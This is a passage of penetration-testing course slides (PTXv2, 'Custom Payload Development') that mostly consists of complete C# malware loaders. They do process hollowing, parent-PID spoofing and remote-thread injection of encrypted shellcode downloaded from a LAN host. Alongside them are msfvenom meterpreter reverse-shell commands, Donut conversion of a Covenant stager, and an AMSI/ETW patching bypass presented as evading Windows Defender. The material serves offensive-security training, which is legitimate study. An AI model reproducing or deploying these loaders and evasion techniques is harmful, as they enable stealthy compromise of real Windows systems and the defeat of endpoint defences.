[DllImport("kernel32")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.201


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
public static int PROCESS_CREATE_THREAD = 0x0002;
public static int PROCESS_QUERY_INFORMATION = 0x0400;
public static int PROCESS_VM_OPERATION = 0x0008;
public static int PROCESS_VM_WRITE = 0x0020;
public static int PROCESS_VM_READ = 0x0010;
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.202


1.11 Custom Payload Development

public class Encrypt


{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.203


1.11 Custom Payload Development

{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}
public class Program
{
public static void Hollow(string targetBinaryPath, byte[] shellcode)
{
// Local variables
Int32 size = shellcode.Length;
Win32.StartupInfo sInfo = new Win32.StartupInfo();
sInfo.dwFlags = 0;
Win32.ProcessInformation pInfo;

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.204


1.11 Custom Payload Development

// Create the process with CREATE_SUSPENDED flag


IntPtr funcAddr = Win32.CreateProcessA(targetBinaryPath, null, null, null, true,
Win32.CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
IntPtr hProcess = pInfo.hProcess;
// Allocate memory for the shellcode
IntPtr spaceAddr = Win32.VirtualAllocEx(hProcess, new IntPtr(0), size, Win32.MEM_COMMIT,
Win32.PAGE_READWRITE);
// Write shellcode into allocated memory
bool bWrite = Win32.WriteProcessMemory(hProcess, spaceAddr, shellcode, (IntPtr)size, 0);
// Change memory permission to PAGE_EXECUTE_READ
uint oldProtect;
Win32.VirtualProtectEx(hProcess, spaceAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ,
out oldProtect);
Console.WriteLine("[>] Executing Shellcode in {0} with PID {1}", targetBinaryPath,
pInfo.dwProcessId);
// Execute shellcode
Win32.CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new
uint(), new IntPtr(0));
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.205


1.11 Custom Payload Development

public static byte[] downloader(string shellcode_url)


{
// Downloads data from an url and return its content
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// Ignore Certificate Check, remove on production!
// https://stackoverflow.com/questions/12506575/how-to-ignore-the-certificate-check-when-ssl
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// End of ignore Certificate Check
byte[] shellcode = wc.DownloadData(shellcode_url);
return shellcode;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.206


1.11 Custom Payload Development

public static void Main(string[] args)


{
Console.WriteLine("Start");
// Hide Process Window
var handle = Win32.GetConsoleWindow();
Win32.ShowWindow(handle, Win32.SW_HIDE);
string url = "http://192.168.1.84:8080/shellcode.bin_enc";
byte[] shellcode = downloader(url);
byte[] password = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("Sup3rS3cr3t!"));
Console.WriteLine("[<] {0} Bytes Downloaded!", shellcode.Length);
shellcode = Encrypt.AES_Decrypt(shellcode, password);
Console.WriteLine("[+] Decrypted shellcode size: {0}", shellcode.Length);
// Target Binary
string targetBinaryPath = @"C:\\Windows\\System32\\userinit.exe";
// Process Hollowing
Hollow(targetBinaryPath, shellcode);
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.207


1.11 Custom Payload Development

Parent Pid Spoofing and CreateRemoteThread Shellcode


Injection.

Spoofing the Parent Process Identifier can be useful to


evade process-monitoring defenses. New processes are
typically spawned directly from their parent or calling
process unless explicitly specified. The Windows API Call
CreateProcess supports defining the parameter identifying
the Parent Process Identifier to use.
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createprocessa PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.208
1.11 Custom Payload Development
The main functions used will be:
• OpenProcess: Read information from an existing process
object.
• InitializeProcThreadAttributeList: Initializes the specified list of
attributes for process and thread creation.
• UpdateProcThreadAttribute: Updates the specified attribute in
a list of attributes for process and thread creation.
• CreateProcess: Creates a new process and its primary thread.
The new process runs in the security context of the calling
process.
Go to Slide 337 and 338 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.209
1.11 Custom Payload Development

The main functions used will be (cont.):


• VirtualAllocEx: To allocate memory into the suspended
process.
• VirtualProtectEx: For changing permissions into the
allocated memory.
• WriteProcessMemory: Writing the shellcode into the
allocated memory
• CreateRemoteThread: To execute the shellcode
Go to Slide 337 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.210
1.11 Custom Payload Development

The first step is to create a Win32 class


where all the structures and Windows API
functions will be declared.
• STARTUPINFOEX L13-19: Specifies the
window station, desktop, standard
handles, and attributes for a new
process
• STARTUPINFO L22-42: Specifies the
window station, desktop, standard
handles, and appearance of the main
window for a process at creation time.
• PROCESS_INFORMATION L45-5:
Contains information about a newly
created process and its primary thread

Go to Slide 339 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.211
1.11 Custom Payload Development

• SECURITY_ATTRIBUTES L53-60:
The SECURITY_ATTRIBUTES
structure contains the security
descriptor for an object and
specifies whether the handle
retrieved by specifying this
structure is inheritable.

• ProcessAccessFlags L62-78:
Specifies the process-specific
access rights.
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)
https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.212
1.11 Custom Payload Development

• Windows API Functions


mentioned before and
constants from line 78 to
the end of this class in
line 137.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.213


1.11 Custom Payload Development

• Windows API Functions


mentioned before and
constants from line 78 to
the end of this class in
line 137.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.214


1.11 Custom Payload Development

The next function SpoofParent, will


accept an integer as the parent process
Id to spoof and a target binary path to
start with the spoofed PPID.

It will initialize the required structures


for CreateProcess Windows API
Function, Open the target process and
update the STARTUPINFO
lpAttributeList
PROC_THREAD_ATTRIBUTE_PARENT_
PROCESS with the value of the parent
process Id for starting the target binary
path with this information.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.215


1.11 Custom Payload Development

The next function SpoofParent, will


accept an integer as the parent process
Id to spoof and a target binary path to
start with the spoofed PPID.

It will initialize the required structures


for CreateProcess Windows API
Function, Open the target process and
update the STARTUPINFO
lpAttributeList
PROC_THREAD_ATTRIBUTE_PARENT_P
ROCESS with the value of the parent
process Id for starting the target binary
path with this information.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.216


1.11 Custom Payload Development

The next function, InjectShellcode will accept a byte array containing the decrypted shellcode and an integer
belonging to the remote process id where the shellcode will be injected. The function will:
• 234: Open a handle to the remote process
• 237: Allocate memory in the remote process with PAGE_READWRITE permissions
• 240: Write the shellcode into the allocated process memory
• 242-243: Change memory permissions to PAGE_EXECUTE_READ
• 245: Create a remote thread in the target process executing the injected shellcode.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.217
1.11 Custom Payload Development
After adding the downloader function. The
Main function will perform the following
actions:
• L265-266:Hide the process windows.
• L267: Get the PID from Explorer process
• L268-269: Define the process to be
started with the spoofed PPID and
Shellcode URL
• L270: Download the encrypted shellcode
into a byte array
• L271-273: Decrypt the shellcode
• L276: Call the SpoofParent function to
spoof the PPID from the running explorer
instance
• L278: Injects the shellcode into the
process started with the spoofed parent
id.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.218
1.11 Custom Payload Development

When executed, the shellcode will be


downloaded and decrypted in memory, a new
process will be created with explorer as its
parent process id and the shellcode will be
injected into it.
# Create shellcode
~ msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> EXITFUNC=thread –smallest –f raw –o shellcode.bin
# Encrypt shellcode
~ mono 2_aes_encryption.exe shellcode.bin
# Testing web server
~ python3 –m http.server 8080
# Execute
7_PPID_CreateRemoteThread.exe

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.219


1.11 Custom Payload Development
Code:

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Collections.Generic;

public class Win32


{
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexa
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.220


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.221


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
process_information
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
[MarshalAs(UnmanagedType.Bool)]
public bool bInheritHandle;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.222


1.11 Custom Payload Development

// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.223


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
[DllImport("kernel32", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int
processId);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
updateprocthreadattribute
[DllImport("kernel32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute,
IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.224


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
initializeprocthreadattributelist
[DllImport("kernel32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount,
int dwFlags, ref IntPtr lpSize);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
[DllImport("kernel32")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
[DllImport("kernel32")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.225


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
[DllImport("kernel32")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer,
IntPtr dwSize, int lpNumberOfBytesWritten);
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
public static int PROCESS_CREATE_THREAD = 0x0002;
public static int PROCESS_QUERY_INFORMATION = 0x0400;
public static int PROCESS_VM_OPERATION = 0x0008;
public static int PROCESS_VM_WRITE = 0x0020;
public static int PROCESS_VM_READ = 0x0010;
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// Variables
public static int SW_HIDE = 0;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.226


1.11 Custom Payload Development

public class Encrypt


{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.227


1.11 Custom Payload Development

decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}
public class Program
{
public static int GetPid (string procName)
{
// Find Process ID by its name
int remoteProcId = 0;
Process[] procs = Process.GetProcesses();
foreach (Process proc in procs)
{
if (proc.ProcessName == procName)
{
remoteProcId = proc.Id;
break;
}
}
return remoteProcId;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.228


1.11 Custom Payload Development

public static int SpoofParent(int parentProcessId, string binaryPath)


{
// STARTUPINFOEX members
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
// STARTUPINFO members (dwFlags and wShowWindow)
const int STARTF_USESTDHANDLES = 0x00000100;
const int STARTF_USESHOWWINDOW = 0x00000001;
const short SW_HIDE = 0x0000;
// dwCreationFlags
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
const uint CREATE_NO_WINDOW = 0x08000000;
// Structs
var pInfo = new Win32.PROCESS_INFORMATION();
var siEx = new Win32.STARTUPINFOEX();
// Vars
IntPtr lpValueProc = IntPtr.Zero;
IntPtr hSourceProcessHandle = IntPtr.Zero;
var lpSize = IntPtr.Zero;

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.229


1.11 Custom Payload Development

// Initializes the specified list of attributes for process and thread creation
Win32.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
// Allocates memory from the unmanaged memory of the process.
siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
// Initializes the specified list of attributes for process and thread creation
Win32.InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize);
// Opens the parent process with CreateProcess and DuplicateHandle permissions
IntPtr parentHandle = Win32.OpenProcess(Win32.ProcessAccessFlags.CreateProcess |
Win32.ProcessAccessFlags.DuplicateHandle,
false, parentProcessId);
// Allocates memory from the unmanaged memory of the process.
lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
// Writes the parentHandle address into lpValueProc
Marshal.WriteIntPtr(lpValueProc, parentHandle);
// Updates the StartUpInfo lpAttributeList PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
// with the value of the Parent Process to spoof (lpValueProc)
Win32.UpdateProcThreadAttribute(siEx.lpAttributeList, 0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc,
(IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.230


1.11 Custom Payload Development

// StartupInformation flags
siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
siEx.StartupInfo.wShowWindow = SW_HIDE;
// Create new Process and Thread security Attributes
var ps = new Win32.SECURITY_ATTRIBUTES();
var ts = new Win32.SECURITY_ATTRIBUTES();
ps.nLength = Marshal.SizeOf(ps);
ts.nLength = Marshal.SizeOf(ts);
// Creates the process with modified STARTINFO
bool ret = Win32.CreateProcess(binaryPath, null, ref ps, ref ts, true,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
IntPtr.Zero, null, ref siEx, out pInfo);
if (!ret) { return 0; }
return pInfo.dwProcessId;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.231


1.11 Custom Payload Development

public static void InjectShellcode(int remoteProcId, byte[] shellcode)


{
// Opens the target process
IntPtr procHandle = Win32.OpenProcess(Win32.PROCESS_CREATE_THREAD | Win32.PROCESS_QUERY_INFORMATION |
Win32.PROCESS_VM_OPERATION |
Win32.PROCESS_VM_WRITE | Win32.PROCESS_VM_READ, false, remoteProcId);
// Allocate memory with PAGE_READWRITE permissions
IntPtr spaceAddr = Win32.VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length,
Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
// Write shellcode into memory
Win32.WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
// Change memory permissions to PAGE_EXECUTE_READ
uint oldProtect;
Win32.VirtualProtectEx(procHandle, spaceAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out
oldProtect);
// Create a new thread to execute shellcode
IntPtr threatH = Win32.CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new
IntPtr(0), new uint(), new IntPtr(0));
return;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.232


1.11 Custom Payload Development

public static byte[] downloader(string shellcode_url)


{
// Downloads data from an url and return its content
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// Ignore Certificate Check, remove on production!
// https://stackoverflow.com/questions/12506575/how-to-ignore-the-certificate-check-when-ssl
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// End of ignore Certificate Check
byte[] shellcode = wc.DownloadData(shellcode_url);
return shellcode;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.233


1.11 Custom Payload Development

public static void Main(string[] args)


{
// Hide Process Window
var handle = Win32.GetConsoleWindow();
Win32.ShowWindow(handle, Win32.SW_HIDE);
int parentProcessId = GetPid("explorer");
string binaryPath = @"C:\\Windows\\System32\\notepad.exe";
string url = "http://192.168.1.84:8080/shellcode.bin_enc";
byte[] shellcode = downloader(url);
byte[] password = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("Sup3rS3cr3t!"));
Console.WriteLine("[<] {0} Bytes Downloaded!", shellcode.Length);
shellcode = Encrypt.AES_Decrypt(shellcode, password);
Console.WriteLine("[+] Decrypted shellcode size: {0}", shellcode.Length);
Console.WriteLine("[+] Launching {0} with PPID: {1}", binaryPath, parentProcessId);
int remoteProcessId = SpoofParent(parentProcessId, binaryPath);
Console.WriteLine("[>] Injecting shellcode in PID: {0}", remoteProcessId);
InjectShellcode(remoteProcessId, shellcode);
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.234


1.11 Custom Payload Development

DONUT: Generating Position Independent Shellcode From


.NET executables.

Donut is a shellcode generation tool that creates x86 or x64


shellcode payloads from .NET Assemblies. This shellcode
may be used to inject the Assembly into arbitrary Windows
processes with the examples shown before.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.235


1.11 Custom Payload Development

Given an arbitrary .NET Assembly, parameters, and an entry


point (such as Program.Main), it produces position-
independent shellcode that loads it from memory. The .NET
Assembly can either be staged from a URL or stageless by
being embedded directly in the shellcode. Either way, the
.NET Assembly is encrypted with the Chaskey block cipher
and a 128-bit randomly generated key.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.236


1.11 Custom Payload Development

After the Assembly is loaded through the CLR, the original


reference is erased from memory to deter memory
scanners. The Assembly is loaded into a new Application
Domain to allow for running Assemblies in disposable
AppDomains.

To install donut a release can be downloaded from


https://github.com/TheWover/donut/releases or it can be
easily compiled following the instructions on the Github.
https://github.com/TheWover/donut/tree/master PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.237
1.11 Custom Payload Development

Modifying the last example to inject a .NET shellcode can


be accomplished by:
• Generating a position independent shellcode from a .NET
Executable using Donut. In this case it will be a
Covenant’s Grunt stager.
• Hosting the shellcode into the webserver and changing
the url string to the new location.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.238


1.11 Custom Payload Development

A Binary launcher using


Net40 framework needs to
be generated.

In this case it will be using a


default listener profile
previously created.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.239


1.11 Custom Payload Development

The next step is to convert the binary


launcher to a position independent
shellcode using Donut.

After the shellcode has been generated,


the AES Encryption module will be used in
order to create an encrypted version of
the shellcode matching the loader.

# Convert .NET to Shellcode


~ donut <NET_BINARY> –o <OUTPUT_FILE>
# Encrypt the shellcode
2_aes_encryption.exe <SHELLCODE>

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.240


1.11 Custom Payload Development

Then the main function from the previous example will be


modified to point to the Grunt Stager URL.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.241


1.11 Custom Payload Development

Once executed in the target


system, the grunt stager is
injected into the notepad
process appearing to be
launched by explorer.exe.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.242


1.11 Custom Payload Development

Implementing AMSI Bypasses in our payloads.


Starting from .NET 4.8 and Windows 10, Anti Malware Scan
Interface has visibility on our previously developed C#
Payloads. This means that Defender will kill our payload as
soon as the shellcode gets decrypted into memory.
However, this can be avoided by patching the
AmsiScanBuffer function before starting the payload
execution.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.243


1.11 Custom Payload Development

In this case the process hollowing code will be reused adding an AMSI
bypass. The following functions need to be added to the Win32 class:
• GetProcAddress L118-119: To get a handle of the current process.
• LoadLibrary L122: For loading the amsi.dll library
• FreeLibrary L125: Free the amsi.dll library.
Go to Slide 340 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.244
1.11 Custom Payload Development

A new class EVASION will be added.


This class has patches for
AmsiScanBuffer and EtwEventWrite
for 32- and 64-bits processes.

To avoid signature detection, some


strings have been base64 encoded.
They are decoded by calling the
decode function from L181-184.
PatchASB and PatchETW functions
detects if they are running in 32 or 64
by checking the IntPtr size and apply
the appropriate patch using
PatchMem function.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.245
1.11 Custom Payload Development
PatchMem function requires 4 parameters, a
byte array containing the patch, a dll name as a
string, a function name as a string and an offset
as an Int64. The offset is used to avoid using
GetProcAddress in suspicious functions like
AmsiScanBuffer, so we can get the address
calculating a near function + offset. In this
example, to reach the AmsiScanBuffer function
we are calculating the DllGetClassObject
function address and adding the offset to
AmsiScanBuffer.

Once the function address to be patched is


calculated, VirtualProtect is used to change the
memory permissions, Marshal.Copy function is
used to apply the patch and the previous
memory permissions are restored with
VirtualProtect again to free the library later
using the FreeLibrary function.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.246
1.11 Custom Payload Development
In the Main function, the first step will be to apply the patches in L296 via EVASION.PatchAll function.

Instead of downloading the shellcode, the encrypted version will be stored into a byte array, remember
that 2_aes_encryption.exe developed before prints the shellcode into screen.

For testing purposes the process window will not be hidden and there are 2 Console.ReadKey calls
(L297, L310) to stop the program and observe how it works.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.247


1.11 Custom Payload Development
After compiling and executing
the payload into an updated
Windows 10 Machine with Real-
Time, Cloud-Delivered and
Tamper Protection enabled, we
successfully receive a
meterpreter session back to the
attacker machine.

Note: Beware that defense


evasion is a cat-and-mouse
game where red teamers must
be constantly researching for
new bypasses as these get
eventually picked up by defense
systems.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.248
1.11 Custom Payload Development
Code:
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Collections.Generic;

public class Win32


{
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)
[StructLayout(LayoutKind.Sequential)]
public class SecurityAttributes
{
public Int32 Length = 0;
public IntPtr lpSecurityDeshellcoderiptor = IntPtr.Zero;
public bool bInheritHandle = false;
public SecurityAttributes() { this.Length = Marshal.SizeOf(this); }
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.249


1.11 Custom Payload Development
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information
[StructLayout(LayoutKind.Sequential)]
public struct ProcessInformation
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 dwProcessId;
public Int32 dwThreadId;
}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
[StructLayout(LayoutKind.Sequential)]
public class StartupInfo
{
public Int32 cb = 0;
public IntPtr lpReserved = IntPtr.Zero;
public IntPtr lpDesktop = IntPtr.Zero;
public IntPtr lpTitle = IntPtr.Zero;
public Int32 dwX = 0;
public Int32 dwY = 0;
public Int32 dwXSize = 0;
public Int32 dwYSize = 0;
public Int32 dwXCountChars = 0;
public Int32 dwYCountChars = 0;
public Int32 dwFillAttribute = 0;

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.250


